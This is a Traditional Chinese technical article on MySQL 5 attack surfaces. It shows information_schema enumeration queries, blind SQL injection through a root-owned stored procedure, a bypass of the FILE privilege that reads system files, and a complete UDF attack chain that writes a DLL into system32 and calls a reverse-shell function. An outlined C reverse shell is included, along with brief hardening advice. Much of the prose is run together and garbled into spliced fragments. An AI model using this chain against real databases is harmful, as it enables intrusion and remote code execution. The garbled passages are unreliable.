MySQL 5 引入存儲過程、觸發器、視圖、information_schema 等新特性,在帶來功能強大的同時,也引入新的攻擊面。本文深度剖析密碼雜湊、資訊洩露、存儲過程 SQL 注入與跨權限、UDF 格式變更與繞過限制等安全風險。
PASSWORD('pass') → *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF46f8c114b58f2ce9eClient does not support authentication protocolOLD_PASSWORD() 產生舊版雜湊系統資料庫 information_schema 暴露大量元資料,若當前用戶權限過高(如 root),攻擊者可直接獲取:
SELECT TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME FROM information_schema.COLUMNS;SELECT * FROM information_schema.USER_PRIVILEGES;SELECT * FROM information_schema.VIEWS;SELECT ROUTINE_DEFINITION FROM information_schema.ROUTINES;風險:SQL 注入中無需盲注暴力猜解表名欄位名,直接查詢 information_schema 即可獲取完整結構。
-- Root 建立存儲過程
CREATE PROCEDURE test(id INT)
BEGIN
SELECT * FROM `in`.`user` WHERE userid = id;
END;
-- 攻擊者調用
CALL test(1 AND 1=1); -- 返回資料
CALL test(1 AND 1=2); -- 空結果
-- 盲注條件成立,可進一步提取資料
存儲過程參數未經參數化處理,直接拼接進 SQL,導致注入。
FILE 權限限制執行 LOAD_FILE()、INTO OUTFILEmysql.user 修改密碼、提權
-- 普通用戶 KK1 調用 Root 建立的 test()
CALL in.test(1 AND LENGTH(LOAD_FILE('c:/boot.ini'))>0);
-- 成功讀取檔案,繞過 FILE 權限檢查
xxx_init() 初始化函數,否則報錯 Can't find function 'xxx_init' in libraryxxx_init, xxx_deinit, xxx 三個函數C:\Windows\System32 載入
USE mysql;
CREATE TABLE heige (line BLOB);
INSERT INTO heige VALUES (LOAD_FILE('c:/udf.dll'));
SELECT * FROM heige INTO DUMPFILE 'c:/winnt/system32/heige.dll';
CREATE FUNCTION shell RETURNS INTEGER SONAME 'heige.dll';
SELECT shell('127.0.0.1', '1234'); -- 反彈 Shell
利用 MySQL 的 LOAD_FILE 讀取攻擊者控制的 DLL,再用 INTO DUMPFILE 寫入 system32,繞過寫入權限限制。
關鍵結構:
my_bool shell_init(UDF_INIT *init, UDF_ARGS *args, char *message) {
// 參數檢查:2 個字串參數
}
int shell(UDF_INIT *init, UDF_ARGS *args, char *is_null, char *error) {
// 1. 建立 Socket 連回攻擊者 IP:Port
// 2. 建立匿名管道
// 3. CreateProcess 啟動 cmd.exe,標準輸入/輸出/錯誤重導向至管道
// 4. 循環:讀管道輸出 → 送 Socket;收 Socket 輸入 → 寫管道
// 5. 收到 "exit" 結束
}
編譯為 DLL,配合上述 INTO DUMPFILE 技術即可在 MySQL 5 上實現 RCE。
FILE、PROCESS、SUPER、CREATE ROUTINE 等高危權限system32 目錄嚴格 ACL,禁止非管理員寫入;MySQL secure_file_priv 限制 LOAD_FILE/INTO OUTFILE 目錄secure_file_priv、密碼雜湊升級、存儲過程權限模型改進LOAD_FILE, INTO OUTFILE, CREATE FUNCTION, information_schema.ROUTINES)